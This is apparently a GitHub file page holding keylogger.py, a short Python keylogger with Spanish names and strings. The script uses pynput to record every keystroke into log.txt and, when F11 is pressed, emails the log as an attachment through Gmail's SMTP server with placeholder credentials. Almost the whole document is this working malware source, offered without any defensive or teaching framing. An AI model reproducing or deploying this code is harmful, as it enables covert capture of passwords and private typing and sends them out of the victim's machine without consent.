-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathkeylogger.py
More file actions
84 lines (73 loc) · 2.23 KB
/
keylogger.py
File metadata and controls
84 lines (73 loc) · 2.23 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pynput.keyboard import Listener
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from smtplib import SMTP
import sys
def enviar_correo():
mensaje = MIMEMultipart("plain")
mensaje["From"] = "tucorreo@gmail.com"
mensaje["To"] = "destinatario@gmail.com"
mensaje["Subject"] = "LOG DEL KEYLOGGER"
adjunto = MIMEBase("application","octect-stream")
adjunto.set_payload(open('log.txt','rb').read())
adjunto.add_header("content-Disposition",'attachment; filename = "log.txt"')
mensaje.attach(adjunto)
server = SMTP("smtp.gmail.com:587")
server.starttls()
server.login("tucorreo@gmail.com", "tu_contraseña")
server.sendmail("tucorreo@gmail.com", "destinatario@gmail.com", mensaje.as_string().encode('utf-8'))
server.quit
def keyboard_listener(key):
letter = str(key)
letter = letter.replace("'","")
if letter == "Key.space":
letter = ' '
elif letter == "Key.backspace":
letter = ' '
elif letter == "Key.left":
#letter = '<-'
letter = ''
elif letter == "Key.right":
#letter = '->'
letter = ''
elif letter == "Key.up":
#letter = '[∧]'
letter = ''
elif letter == "Key.down":
#letter = '[∨]'
letter = ''
elif letter == "Key.enter":
letter = '[ENTER]\n'
elif letter == "Key.shift_r":
letter = ''
elif letter == "Key.shift_l":
letter = ''
elif letter == "Key.ctrl_l":
letter = ''
elif letter == "Key.ctrl_r":
letter = ''
elif letter == "Key.caps_lock":
letter = '[MAYUS]'
elif letter == "Key.alt_l":
letter = ''
elif letter == "Key.alt_r":
letter = ''
elif letter == "Key.tab":
letter = ''
elif letter == "Key.shift":
letter = ''
elif letter == "Key.f11":
enviar_correo()
elif letter == "Key.esc":
sys.exit()
with open("log.txt","a") as f:
f.write(letter)
def main():
print("(+) Se inicio el KeyLogger")
with Listener(on_press=keyboard_listener) as l:
l.join()
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
sys.exit